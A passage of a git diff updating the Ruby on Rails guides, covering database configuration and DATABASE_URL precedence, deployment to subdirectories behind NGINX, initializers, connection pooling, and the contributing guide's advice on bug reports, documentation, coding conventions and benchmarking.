-TIP: You don't have to update the database configurations manually. If you look at the options of the application generator, you will see that one of the options is named `--database`. This option allows you to choose an adapter from a list of the most used relational databases. You can even run the generator repeatedly: `cd .. && rails new blog --database=mysql`. When you confirm the overwriting of the `config/database.yml` file, your application will be configured for MySQL instead of SQLite. Detailed examples of the common database connections are below.
+If you wish, you can manually specify a URL inside of your `config/database.yml`
+
+```
+development:
+ url: postgresql://localhost/blog_development?pool=5
+```
+
+The `config/database.yml` file can contain ERB tags `<%= %>`. Anything in the tags will be evaluated as Ruby code. You can use this to pull out data from an environment variable or to perform calculations to generate the needed connection information.
+
+
+TIP: You don't have to update the database configurations manually. If you look at the options of the application generator, you will see that one of the options is named `--database`. This option allows you to choose an adapter from a list of the most used relational databases. You can even run the generator repeatedly: `cd .. && rails new blog --database=mysql`. When you confirm the overwriting of the `config/database.yml` file, your application will be configured for MySQL instead of SQLite. Detailed examples of the common database connections are below.
+
+
+### Connection Preference
+
+Since there are two ways to set your connection, via environment variable it is important to understand how the two can interact.
+
+If you have an empty `config/database.yml` file but your `ENV['DATABASE_URL']` is present, then Rails will connect to the database via your environment variable:
+
+```
+$ cat config/database.yml
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+```
+
+If you have a `config/database.yml` but no `ENV['DATABASE_URL']` then this file will be used to connect to your database:
+
+```
+$ cat config/database.yml
+development:
+ adapter: postgresql
+ database: my_database
+ host: localhost
+
+$ echo $DATABASE_URL
+```
+
+If you have both `config/database.yml` and `ENV['DATABASE_URL']` set then Rails will merge the configuration together. To better understand this we must see some examples.
+
+When duplicate connection information is provided the environment variable will take precedence:
+
+```
+$ cat config/database.yml
+development:
+ adapter: sqlite3
+ database: NOT_my_database
+ host: localhost
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+
+$ bin/rails runner 'puts ActiveRecord::Base.configurations'
+{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "database"=>"my_database"}}
+```
+
+Here the adapter, host, and database match the information in `ENV['DATABASE_URL']`.
+
+If non-duplicate information is provided you will get all unique values, environment variable still takes precedence in cases of any conflicts.
+
+```
+$ cat config/database.yml
+development:
+ adapter: sqlite3
+ pool: 5
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+
+$ bin/rails runner 'puts ActiveRecord::Base.configurations'
+{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "database"=>"my_database", "pool"=>5}}
+```
+
+Since pool is not in the `ENV['DATABASE_URL']` provided connection information its information is merged in. Since `adapter` is duplicate, the `ENV['DATABASE_URL']` connection information wins.
+
+The only way to explicitly not use the connection information in `ENV['DATABASE_URL']` is to specify an explicit URL connection using the `"url"` sub key:
+
+```
+$ cat config/database.yml
+development:
+ url: sqlite3:NOT_my_database
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+
+$ bin/rails runner 'puts ActiveRecord::Base.configurations'
+{"development"=>{"adapter"=>"sqlite3", "database"=>"NOT_my_database"}}
+```
+
+Here the connection information in `ENV['DATABASE_URL']` is ignored, note the different adapter and database name.
+
+Since it is possible to embed ERB in your `config/database.yml` it is best practice to explicitly show you are using the `ENV['DATABASE_URL']` to connect to your database. This is especially useful in production since you should not commit secrets like your database password into your source control (such as Git).
+
+```
+$ cat config/database.yml
+production:
+ url: <%= ENV['DATABASE_URL'] %>
+```
+
+Now the behavior is clear, that we are only using the connection information in `ENV['DATABASE_URL']`.
#### Configuring an SQLite3 Database
@@ -511,11 +684,9 @@ development:
encoding: unicode
database: blog_development
pool: 5
- username: blog
- password:
```
-Prepared Statements can be disabled thus:
+Prepared Statements are enabled by default on PostgreSQL. You can be disable prepared statements by setting `prepared_statements` to `false`:
```yaml
production:
@@ -523,6 +694,16 @@ production:
prepared_statements: false
```
+If enabled, Active Record will create up to `1000` prepared statements per database connection by default. To modify this behavior you can set `statement_limit` to a different value:
+
+```
+production:
+ adapter: postgresql
+ statement_limit: 200
+```
+
+The more prepared statements in use: the more memory your database will require. If your PostgreSQL database is hitting memory limits, try lowering `statement_limit` or disabling prepared statements.
+
#### Configuring an SQLite3 Database for JRuby Platform
If you choose to use SQLite3 and are using JRuby, your `config/database.yml` will look a little different. Here's the development section:
@@ -560,6 +741,86 @@ development:
Change the username and password in the `development` section as appropriate.
+### Creating Rails Environments
+
+By default Rails ships with three environments: "development", "test", and "production". While these are sufficient for most use cases, there are circumstances when you want more environments.
+
+Imagine you have a server which mirrors the production environment but is only used for testing. Such a server is commonly called a "staging server". To define an environment called "staging" for this server, just create a file called `config/environments/staging.rb`. Please use the contents of any existing file in `config/environments` as a starting point and make the necessary changes from there.
+
+That environment is no different than the default ones, start a server with `rails server -e staging`, a console with `rails console staging`, `Rails.env.staging?` works, etc.
+
+
+### Deploy to a subdirectory (relative url root)
+
+By default Rails expects that your application is running at the root
+(eg. `/`). This section explains how to run your application inside a directory.
+
+Let's assume we want to deploy our application to "/app1". Rails needs to know
+this directory to generate the appropriate routes:
+
+```ruby
+config.relative_url_root = "/app1"
+```
+
+alternatively you can set the `RAILS_RELATIVE_URL_ROOT` environment
+variable.
+
+Rails will now prepend "/app1" when generating links.
+
+#### Using Passenger
+
+Passenger makes it easy to run your application in a subdirectory. You can find the relevant configuration in the [Passenger manual](http://www.modrails.com/documentation/Users%20guide%20Apache.html#deploying_rails_to_sub_uri).
+
+#### Using a Reverse Proxy
+
+Deploying your application using a reverse proxy has definite advantages over traditional deploys. They allow you to have more control over your server by layering the components required by your application.
+
+Many modern web servers can be used as a proxy server to balance third-party elements such as caching servers or application servers.
+
+One such application server you can use is [Unicorn](http://unicorn.bogomips.org/) to run behind a reverse proxy.
+
+In this case, you would need to configure the proxy server (NGINX, Apache, etc) to accept connections from your application server (Unicorn). By default Unicorn will listen for TCP connections on port 8080, but you can change the port or configure it to use sockets instead.
+
+You can find more information in the [Unicorn readme](http://unicorn.bogomips.org/README.html) and understand the [philosophy](http://unicorn.bogomips.org/PHILOSOPHY.html) behind it.
+
+Once you've configured the application server, you must proxy requests to it by configuring your web server appropriately. For example your NGINX config may include:
+
+```
+upstream application_server {
+ server 0.0.0.0:8080
+}
+
+server {
+ listen 80;
+ server_name localhost;
+
+ root /root/path/to/your_app/public;
+
+ try_files $uri/index.html $uri.html @app;
+
+ location @app {
+ proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+ proxy_set_header Host $http_host;
+ proxy_redirect off;
+ proxy_pass http://application_server;
+ }
+
+ # some other configuration
+}
+```
+
+Be sure to read the [NGINX documentation](http://nginx.org/en/docs/) for the most up-to-date information.
+
+#### Considerations when deploying to a subdirectory
+
+Deploying to a subdirectory in production has implications on various parts of
+Rails.
+
+* development environment:
+* testing environment:
+* serving static assets:
+* asset pipeline:
+
Rails Environment Settings
--------------------------
@@ -567,7 +828,7 @@ Some parts of Rails can also be configured externally by supplying environment v
* `ENV["RAILS_ENV"]` defines the Rails environment (production, development, test, and so on) that Rails will run under.
-* `ENV["RAILS_RELATIVE_URL_ROOT"]` is used by the routing code to recognize URLs when you deploy your application to a subdirectory.
+* `ENV["RAILS_RELATIVE_URL_ROOT"]` is used by the routing code to recognize URLs when you [deploy your application to a subdirectory](configuring.html#deploy-to-a-subdirectory-relative-url-root).
* `ENV["RAILS_CACHE_ID"]` and `ENV["RAILS_APP_VERSION"]` are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application.
@@ -592,9 +853,9 @@ Rails has 5 initialization events which can be hooked into (listed in the order
* `to_prepare`: Run after the initializers are run for all Railties (including the application itself), but before eager loading and the middleware stack is built. More importantly, will run upon every request in `development`, but only once (during boot-up) in `production` and `test`.
-* `before_eager_load`: This is run directly before eager loading occurs, which is the default behaviour for the `production` environment and not for the `development` environment.
+* `before_eager_load`: This is run directly before eager loading occurs, which is the default behavior for the `production` environment and not for the `development` environment.
-* `after_initialize`: Run directly after the initialization of the application, but before the application initializers are run.
+* `after_initialize`: Run directly after the initialization of the application, after the application initializers in `config/initializers` are run.
To define an event for these hooks, use the block syntax within a `Rails::Application`, `Rails::Railtie` or `Rails::Engine` subclass:
@@ -620,17 +881,17 @@ WARNING: Some parts of your application, notably routing, are not yet set up at
### `Rails::Railtie#initializer`
-Rails has several initializers that run on startup that are all defined by using the `initializer` method from `Rails::Railtie`. Here's an example of the `initialize_whiny_nils` initializer from Active Support:
+Rails has several initializers that run on startup that are all defined by using the `initializer` method from `Rails::Railtie`. Here's an example of the `set_helpers_path` initializer from Action Controller:
```ruby
-initializer "active_support.initialize_whiny_nils" do |app|
- require 'active_support/whiny_nil' if app.config.whiny_nils
+initializer "action_controller.set_helpers_path" do |app|
+ ActionController::Helpers.helpers_path = app.helpers_paths
end
```
The `initializer` method takes three arguments with the first being the name for the initializer and the second being an options hash (not shown here) and the third being a block. The `:before` key in the options hash can be specified to specify which initializer this new initializer must run before, and the `:after` key will specify which initializer to run this initializer _after_.
-Initializers defined using the `initializer` method will be ran in the order they are defined in, with the exception of ones that use the `:before` or `:after` methods.
+Initializers defined using the `initializer` method will be run in the order they are defined in, with the exception of ones that use the `:before` or `:after` methods.
WARNING: You may put your initializer before or after any other initializer in the chain, as long as it is logical. Say you have 4 initializers called "one" through "four" (defined in that order) and you define "four" to go _before_ "four" but _after_ "three", that just isn't logical and Rails will not be able to determine your initializer order.
@@ -646,11 +907,11 @@ Below is a comprehensive list of all the initializers found in Rails in the orde
* `load_active_support` Requires `active_support/dependencies` which sets up the basis for Active Support. Optionally requires `active_support/all` if `config.active_support.bare` is un-truthful, which is the default.
-* `initialize_logger` Initializes the logger (an `ActiveSupport::BufferedLogger` object) for the application and makes it accessible at `Rails.logger`, provided that no initializer inserted before this point has defined `Rails.logger`.
+* `initialize_logger` Initializes the logger (an `ActiveSupport::Logger` object) for the application and makes it accessible at `Rails.logger`, provided that no initializer inserted before this point has defined `Rails.logger`.
* `initialize_cache` If `Rails.cache` isn't set yet, initializes the cache by referencing the value in `config.cache_store` and stores the outcome as `Rails.cache`. If this object responds to the `middleware` method, its middleware is inserted before `Rack::Runtime` in the middleware stack.
-* `set_clear_dependencies_hook` Provides a hook for `active_record.set_dispatch_hooks` to use, which will run before this initializer. This initializer — which runs only if `cache_classes` is set to `false` — uses `ActionDispatch::Callbacks.after` to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request.
+* `set_clear_dependencies_hook` Provides a hook for `active_record.set_dispatch_hooks` to use, which will run before this initializer. This initializer - which runs only if `cache_classes` is set to `false` - uses `ActionDispatch::Callbacks.after` to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request.
* `initialize_dependency_mechanism` If `config.cache_classes` is true, configures `ActiveSupport::Dependencies.mechanism` to `require` dependencies rather than `load` them.
@@ -658,37 +919,19 @@ Below is a comprehensive list of all the initializers found in Rails in the orde
* `i18n.callbacks` In the development environment, sets up a `to_prepare` callback which will call `I18n.reload!` if any of the locales have changed since the last request. In production mode this callback will only run on the first request.
-* `active_support.initialize_whiny_nils` Requires `active_support/whiny_nil` if `config.whiny_nils` is true. This file will output errors such as:
-
- ```
- Called id for nil, which would mistakenly be 4 — if you really wanted the id of nil, use object_id
- ```
-
- And:
-
- ```
- You have a nil object when you didn't expect it!
- You might have expected an instance of Array.
- The error occurred while evaluating nil.each
- ```
-
* `active_support.deprecation_behavior` Sets up deprecation reporting for environments, defaulting to `:log` for development, `:notify` for production and `:stderr` for test. If a value isn't set for `config.active_support.deprecation` then this initializer will prompt the user to configure this line in the current environment's `config/environments` file. Can be set to an array of values.
* `active_support.initialize_time_zone` Sets the default time zone for the application based on the `config.time_zone` setting, which defaults to "UTC".
-* `active_support.initialize_beginning_of_week` Sets the default beginnig of week for the application based on `config.beginning_of_week` setting, which defaults to `:monday`.
+* `active_support.initialize_beginning_of_week` Sets the default beginning of week for the application based on `config.beginning_of_week` setting, which defaults to `:monday`.
* `action_dispatch.configure` Configures the `ActionDispatch::Http::URL.tld_length` to be set to the value of `config.action_dispatch.tld_length`.
-* `action_view.cache_asset_ids` Sets `ActionView::Helpers::AssetTagHelper::AssetPaths.cache_asset_ids` to `false` when Active Support loads, but only if `config.cache_classes` is too.
-
-* `action_view.javascript_expansions` Registers the expansions set up by `config.action_view.javascript_expansions` and `config.action_view.stylesheet_expansions` to be recognized by Action View and therefore usable in the views.
-
* `action_view.set_configs` Sets up Action View by using the settings in `config.action_view` by `send`'ing the method names as setters to `ActionView::Base` and passing the values through.
-* `action_controller.logger` Sets `ActionController::Base.logger` — if it's not already set — to `Rails.logger`.
+* `action_controller.logger` Sets `ActionController::Base.logger` - if it's not already set - to `Rails.logger`.
-* `action_controller.initialize_framework_caches` Sets `ActionController::Base.cache_store` — if it's not already set — to `Rails.cache`.
+* `action_controller.initialize_framework_caches` Sets `ActionController::Base.cache_store` - if it's not already set - to `Rails.cache`.
* `action_controller.set_configs` Sets up Action Controller by using the settings in `config.action_controller` by `send`'ing the method names as setters to `ActionController::Base` and passing the values through.
@@ -696,7 +939,7 @@ Below is a comprehensive list of all the initializers found in Rails in the orde
* `active_record.initialize_timezone` Sets `ActiveRecord::Base.time_zone_aware_attributes` to true, as well as setting `ActiveRecord::Base.default_timezone` to UTC. When attributes are read from the database, they will be converted into the time zone specified by `Time.zone`.
-* `active_record.logger` Sets `ActiveRecord::Base.logger` — if it's not already set — to `Rails.logger`.
+* `active_record.logger` Sets `ActiveRecord::Base.logger` - if it's not already set - to `Rails.logger`.
* `active_record.set_configs` Sets up Active Record by using the settings in `config.active_record` by `send`'ing the method names as setters to `ActiveRecord::Base` and passing the values through.
@@ -706,7 +949,7 @@ Below is a comprehensive list of all the initializers found in Rails in the orde
* `active_record.set_dispatch_hooks` Resets all reloadable connections to the database if `config.cache_classes` is set to `false`.
-* `action_mailer.logger` Sets `ActionMailer::Base.logger` — if it's not already set — to `Rails.logger`.
+* `action_mailer.logger` Sets `ActionMailer::Base.logger` - if it's not already set - to `Rails.logger`.
* `action_mailer.set_configs` Sets up Action Mailer by using the settings in `config.action_mailer` by `send`'ing the method names as setters to `ActionMailer::Base` and passing the values through.
@@ -732,11 +975,11 @@ Below is a comprehensive list of all the initializers found in Rails in the orde
* `engines_blank_point` Provides a point-in-initialization to hook into if you wish to do anything before engines are loaded. After this point, all railtie and engine initializers are run.
-* `add_generator_templates` Finds templates for generators at `lib/templates` for the application, railities and engines and adds these to the `config.generators.templates` setting, which will make the templates available for all generators to reference.
+* `add_generator_templates` Finds templates for generators at `lib/templates` for the application, railties and engines and adds these to the `config.generators.templates` setting, which will make the templates available for all generators to reference.
* `ensure_autoload_once_paths_as_subset` Ensures that the `config.autoload_once_paths` only contains paths from `config.autoload_paths`. If it contains extra paths, then an exception will be raised.
-* `add_to_prepare_blocks` The block for every `config.to_prepare` call in the application, a railtie or engine is added to the `to_prepare` callbacks for Action Dispatch which will be ran per request in development, or before the first request in production.
+* `add_to_prepare_blocks` The block for every `config.to_prepare` call in the application, a railtie or engine is added to the `to_prepare` callbacks for Action Dispatch which will be run per request in development, or before the first request in production.
* `add_builtin_route` If the application is running under the development environment then this will append the route for `rails/info/properties` to the application routes. This route provides the detailed information such as Rails and Ruby version for `public/index.html` in a default Rails application.
@@ -763,8 +1006,40 @@ development:
timeout: 5000
```
-Since the connection pooling is handled inside of ActiveRecord by default, all application servers (Thin, mongrel, Unicorn etc.) should behave the same. Initially, the database connection pool is empty and it will create additional connections as the demand for them increases, until it reaches the connection pool limit.
+Since the connection pooling is handled inside of Active Record by default, all application servers (Thin, mongrel, Unicorn etc.) should behave the same. Initially, the database connection pool is empty and it will create additional connections as the demand for them increases, until it reaches the connection pool limit.
Any one request will check out a connection the first time it requires access to the database, after which it will check the connection back in, at the end of the request, meaning that the additional connection slot will be available again for the next request in the queue.
-NOTE. If you have enabled `Rails.threadsafe!` mode then there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited amount of connections.
+If you try to use more connections than are available, Active Record will block
+and wait for a connection from the pool. When it cannot get connection, a timeout
+error similar to given below will be thrown.
+
+```ruby
+ActiveRecord::ConnectionTimeoutError - could not obtain a database connection within 5 seconds. The max pool size is currently 5; consider increasing it:
+```
+
+If you get the above error, you might want to increase the size of connection
+pool by incrementing the `pool` option in `database.yml`
+
+NOTE. If you are running in a multi-threaded environment, there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited amount of connections.
+
+
+Custom configuration
+--------------------
+
+You can configure your own code through the Rails configuration object with custom configuration. It works like this:
+
+ ```ruby
+ config.x.payment_processing.schedule = :daily
+ config.x.payment_processing.retries = 3
+ config.x.super_debugger = true
+ ```
+
+These configuration points are then available through the configuration object:
+
+ ```ruby
+ Rails.configuration.x.payment_processing.schedule # => :daily
+ Rails.configuration.x.payment_processing.retries # => 3
+ Rails.configuration.x.super_debugger # => true
+ Rails.configuration.x.super_debugger.not_set # => nil
+ ```
diff --git a/guides/source/contributing_to_ruby_on_rails.md b/guides/source/contributing_to_ruby_on_rails.md
index ce2a5a4902..8e7007d34a 100644
--- a/guides/source/contributing_to_ruby_on_rails.md
+++ b/guides/source/contributing_to_ruby_on_rails.md
@@ -11,7 +11,7 @@ After reading this guide, you will know:
* How to contribute to the Ruby on Rails documentation.
* How to contribute to the Ruby on Rails code.
-Ruby on Rails is not "someone else's framework." Over the years, hundreds of people have contributed to Ruby on Rails ranging from a single character to massive architectural changes or significant documentation — all with the goal of making Ruby on Rails better for everyone. Even if you don't feel up to writing code or documentation yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches.
+Ruby on Rails is not "someone else's framework." Over the years, hundreds of people have contributed to Ruby on Rails ranging from a single character to massive architectural changes or significant documentation - all with the goal of making Ruby on Rails better for everyone. Even if you don't feel up to writing code or documentation yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches.
--------------------------------------------------------------------------------
@@ -24,89 +24,51 @@ NOTE: Bugs in the most recent released version of Ruby on Rails are likely to ge
### Creating a Bug Report
-If you've found a problem in Ruby on Rails which is not a security risk, do a search in GitHub under [Issues](https://github.com/rails/rails/issues) in case it was already reported. If you find no issue addressing it you can [add a new one](https://github.com/rails/rails/issues/new). (See the next section for reporting security issues).
+If you've found a problem in Ruby on Rails which is not a security risk, do a search in GitHub under [Issues](https://github.com/rails/rails/issues) in case it has already been reported. If you do not find any issue addressing it you may proceed to [open a new one](https://github.com/rails/rails/issues/new). (See the next section for reporting security issues.)
-At the minimum, your issue report needs a title and descriptive text. But that's only a minimum. You should include as much relevant information as possible. You need at least to post the code sample that has the issue. Even better is to include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself — and others — to replicate the bug and figure out a fix.
+Your issue report should contain a title and a clear description of the issue at the bare minimum. You should include as much relevant information as possible and should at least post a code sample that demonstrates the issue. It would be even better if you could include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself - and others - to replicate the bug and figure out a fix.
Then, don't get your hopes up! Unless you have a "Code Red, Mission Critical, the World is Coming to an End" kind of bug, you're creating this issue report in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the issue report will automatically see any activity or that others will jump to fix it. Creating an issue like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with an "I'm having this problem too" comment.
+### Create a Self-Contained gist for Active Record and Action Controller Issues
+
+If you are filing a bug report, please use
+[Active Record template for gems](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_gem.rb) or
+[Action Controller template for gems](https://github.com/rails/rails/blob/master/guides/bug_report_templates/action_controller_gem.rb)
+if the bug is found in a published gem, and
+[Active Record template for master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_master.rb) or
+[Action Controller template for master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/action_controller_master.rb)
+if the bug happens in the master branch.
+
### Special Treatment for Security Issues
WARNING: Please do not report security vulnerabilities with public GitHub issue reports. The [Rails security policy page](http://rubyonrails.org/security) details the procedure to follow for security issues.
### What about Feature Requests?
-Please don't put "feature request" items into GitHub Issues. If there's a new feature that you want to see added to Ruby on Rails, you'll need to write the code yourself - or convince someone else to partner with you to write the code. Later in this guide you'll find detailed instructions for proposing a patch to Ruby on Rails. If you enter a wishlist item in GitHub Issues with no code, you can expect it to be marked "invalid" as soon as it's reviewed.
-
-If you'd like feedback on an idea for a feature before doing the work for make a patch, please send an email to the [rails-core mailing list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core). You might get no response, which means that everyone is indifferent. You might find someone who's also interested in building that feature. You might get a "This won't be accepted." But it's the proper place to discuss new ideas. GitHub Issues are not a particularly good venue for the sometimes long and involved discussions new features require.
-
-Setting Up a Development Environment
-------------------------------------
-
-To move on from submitting bugs to helping resolve existing issues or contributing your own code to Ruby on Rails, you _must_ be able to run its test suite. In this section of the guide you'll learn how to set up the tests on your own computer.
-
-### The Easy Way
-
-The easiest and recommended way to get a development environment ready to hack is to use the [Rails development box](https://github.com/rails/rails-dev-box).
-
-### The Hard Way
-
-In case you can't use the Rails development box, see section above, check [this other guide](development_dependencies_install.html).
-
-Testing Active Record
----------------------
-
-This is how you run the Active Record test suite only for SQLite3:
-
-```bash
-$ cd activerecord
-$ bundle exec rake test_sqlite3
-```
-
-You can now run the tests as you did for `sqlite3`. The tasks are respectively
-
-```bash
-test_mysql
-test_mysql2
-test_postgresql
-```
-
-Finally,
-
-```bash
-$ bundle exec rake test
-```
-
-will now run the four of them in turn.
-
-You can also run any single test separately:
-
-```bash
-$ ARCONN=sqlite3 ruby -Itest test/cases/associations/has_many_associations_test.rb
-```
-
-You can invoke `test_jdbcmysql`, `test_jdbcsqlite3` or `test_jdbcpostgresql` also. See the file `activerecord/RUNNING_UNIT_TESTS` for information on running more targeted database tests, or the file `ci/travis.rb` for the test suite run by the continuous integration server.
-
-### Warnings
-
-The test suite runs with warnings enabled. Ideally, Ruby on Rails should issue no warnings, but there may be a few, as well as some from third-party libraries. Please ignore (or fix!) them, if any, and submit patches that do not issue new warnings.
-
-As of this writing (December, 2010) they are especially noisy with Ruby 1.9. If you are sure about what you are doing and would like to have a more clear output, there's a way to override the flag:
-
-```bash
-$ RUBYOPT=-W0 bundle exec rake test
-```
+Please don't put "feature request" items into GitHub Issues. If there's a new
+feature that you want to see added to Ruby on Rails, you'll need to write the
+code yourself - or convince someone else to partner with you to write the code.
+Later in this guide you'll find detailed instructions for proposing a patch to
+Ruby on Rails. If you enter a wish list item in GitHub Issues with no code, you
+can expect it to be marked "invalid" as soon as it's reviewed.
+
+Sometimes, the line between 'bug' and 'feature' is a hard one to draw.
+Generally, a feature is anything that adds new behavior, while a bug is
+anything that fixes already existing behavior that is misbehaving. Sometimes,
+the core team will have to make a judgement call. That said, the distinction
+generally just affects which release your patch will get in to; we love feature
+submissions! They just won't get backported to maintenance branches.
+
+If you'd like feedback on an idea for a feature before doing the work for make
+a patch, please send an email to the [rails-core mailing
+list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core). You
+might get no response, which means that everyone is indifferent. You might find
+someone who's also interested in building that feature. You might get a "This
+won't be accepted." But it's the proper place to discuss new ideas. GitHub
+Issues are not a particularly good venue for the sometimes long and involved
+discussions new features require.
-### Older Versions of Ruby on Rails
-
-If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 3-0-stable branch:
-
-```bash
-$ git branch --track 3-0-stable origin/3-0-stable
-$ git checkout 3-0-stable
-```
-
-TIP: You may want to [put your Git branch name in your shell prompt](http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/) to make it easier to remember which version of the code you're working with.
Helping to Resolve Existing Issues
----------------------------------
@@ -147,20 +109,25 @@ After applying their branch, test it out! Here are some things to think about:
Once you're happy that the pull request contains a good change, comment on the GitHub issue indicating your approval. Your comment should indicate that you like the change and what you like about it. Something like:
-<blockquote>
-I like the way you've restructured that code in generate_finder_sql — much nicer. The tests look good too.
-</blockquote>
+>I like the way you've restructured that code in generate_finder_sql - much nicer. The tests look good too.
If your comment simply says "+1", then odds are that other reviewers aren't going to take it too seriously. Show that you took the time to review the pull request.
Contributing to the Rails Documentation
---------------------------------------
-Ruby on Rails has two main sets of documentation: the guides help you in learning about Ruby on Rails, and the API is a reference.
+Ruby on Rails has two main sets of documentation: the guides, which help you
+learn about Ruby on Rails, and the API, which serves as a reference.
+
+You can help improve the Rails guides by making them more coherent, consistent or readable, adding missing information, correcting factual errors, fixing typos, or bringing it up to date with the latest edge Rails. To get involved in the translation of Rails guides, please see [Translating Rails Guides](https://wiki.github.com/rails/docrails/translating-rails-guides).
-You can help improve the Rails guides by making them more coherent, consistent or readable, adding missing information, correcting factual errors, fixing typos, or bringing it up to date with the latest edge Rails. To get involved in the translation of Rails guides, please see [Translating Rails Guides](https://wiki.github.com/lifo/docrails/translating-rails-guides).
+You can either open a pull request to [Rails](http://github.com/rails/rails) or
+ask the [Rails core team](http://rubyonrails.org/core) for commit access on
+[docrails](http://github.com/rails/docrails) if you contribute regularly.
+Please do not open pull requests in docrails, if you'd like to get feedback on your
+change, ask for it in [Rails](http://github.com/rails/rails) instead.
-If you're confident about your changes, you can push them directly yourself via [docrails](https://github.com/lifo/docrails). Docrails is a branch with an **open commit policy** and public write access. Commits to docrails are still reviewed, but this happens after they are pushed. Docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation.
+Docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation.
If you are unsure of the documentation changes, you can create an issue in the [Rails](https://github.com/rails/rails/issues) issues tracker on GitHub.
@@ -168,16 +135,28 @@ When working with documentation, please take into account the [API Documentation
NOTE: As explained earlier, ordinary code patches should have proper documentation coverage. Docrails is only used for isolated documentation improvements.
-NOTE: To help our CI servers you can add [ci skip] to your documentation commit message to skip build on that commit. Please remember to use it for commits containing only documentation changes.
+NOTE: To help our CI servers you should add [ci skip] to your documentation commit message to skip build on that commit. Please remember to use it for commits containing only documentation changes.
WARNING: Docrails has a very strict policy: no code can be touched whatsoever, no matter how trivial or small the change. Only RDoc and guides can be edited via docrails. Also, CHANGELOGs should never be edited in docrails.
Contributing to the Rails Code
------------------------------
+### Setting Up a Development Environment
+
+To move on from submitting bugs to helping resolve existing issues or contributing your own code to Ruby on Rails, you _must_ be able to run its test suite. In this section of the guide you'll learn how to setup the tests on your own computer.
+
+#### The Easy Way
+
+The easiest and recommended way to get a development environment ready to hack is to use the [Rails development box](https://github.com/rails/rails-dev-box).
+
+#### The Hard Way
+
+In case you can't use the Rails development box, see [this other guide](development_dependencies_install.html).
+
### Clone the Rails Repository
-The first thing you need to do to be able to contribute code is to clone the repository:
+To be able to contribute code, you need to clone the Rails repository:
```bash
$ git clone git://github.com/rails/rails.git
@@ -190,20 +169,33 @@ $ cd rails
$ git checkout -b my_new_branch
```
-It doesn’t matter much what name you use, because this branch will only exist on your local computer and your personal repository on Github. It won't be part of the Rails Git repository.
+It doesn't matter much what name you use, because this branch will only exist on your local computer and your personal repository on GitHub. It won't be part of the Rails Git repository.
+
+### Running an Application Against Your Local Branch
+
+In case you need a dummy Rails app to test changes, the `--dev` flag of `rails new` generates an application that uses your local branch:
+
+```bash
+$ cd rails
+$ bundle exec rails new ~/my-test-app --dev
+```
+
+The application generated in `~/my-test-app` runs against your local branch
+and in particular sees any modifications upon server reboot.
### Write Your Code
-Now get busy and add or edit code. You’re on your branch now, so you can write whatever you want (you can check to make sure you’re on the right branch with `git branch -a`). But if you’re planning to submit your change back for inclusion in Rails, keep a few things in mind:
+Now get busy and add/edit code. You're on your branch now, so you can write whatever you want (make sure you're on the right branch with `git branch -a`). But if you're planning to submit your change back for inclusion in Rails, keep a few things in mind:
* Get the code right.
* Use Rails idioms and helpers.
* Include tests that fail without your code, and pass with it.
* Update the (surrounding) documentation, examples elsewhere, and the guides: whatever is affected by your contribution.
-TIP: Changes that are cosmetic in nature and do not add anything substantial to the stability, functionality, or testability of Rails will generally not be accepted.
-### Follow the Coding Conventions
+TIP: Changes that are cosmetic in nature and do not add anything substantial to the stability, functionality, or testability of Rails will generally not be accepted (read more about [our rationales behind this decision](https://github.com/rails/rails/pull/13771#issuecomment-32746700)).
+
+#### Follow the Coding Conventions
Rails follows a simple set of coding style conventions:
@@ -213,19 +205,144 @@ Rails follows a simple set of coding style conventions:
* Use Ruby >= 1.9 syntax for hashes. Prefer `{ a: :b }` over `{ :a => :b }`.
* Prefer `&&`/`||` over `and`/`or`.
* Prefer class << self over self.method for class methods.
-* Use `MyClass.my_method(my_arg)` not `my_method( my_arg )` or `my_method my_arg`.
-* Use a = b and not a=b.
+* Use `my_method(my_arg)` not `my_method( my_arg )` or `my_method my_arg`.
+* Use `a = b` and not `a=b`.
+* Use assert_not methods instead of refute.
+* Prefer `method { do_stuff }` instead of `method{do_stuff}` for single-line blocks.
* Follow the conventions in the source you see used already.
-The above are guidelines — please use your best judgment in using them.
+The above are guidelines - please use your best judgment in using them.
+
+### Benchmark Your Code
+
+If your change has an impact on the performance of Rails, please use the
+[benchmark-ips](https://github.com/evanphx/benchmark-ips) gem to provide
+benchmark results for comparison.
+
+Here's an example of using benchmark-ips:
+
+```ruby
+require 'benchmark/ips'
+
+Benchmark.ips do |x|
+ x.report('addition') { 1 + 2 }
+ x.report('addition with send') { 1.send(:+, 2) }
+end
+```
+
+This will generate a report with the following information:
+
+```
+Calculating -------------------------------------
+ addition 69114 i/100ms
+ addition with send 64062 i/100ms
+-------------------------------------------------
+ addition 5307644.4 (±3.5%) i/s - 26539776 in 5.007219s
+ addition with send 3702897.9 (±3.5%) i/s - 18513918 in 5.006723s
+```
+
+Please see the benchmark/ips [README](https://github.com/evanphx/benchmark-ips/blob/master/README.md) for more information.
+
+### Running Tests
+
+It is not customary in Rails to run the full test suite before pushing
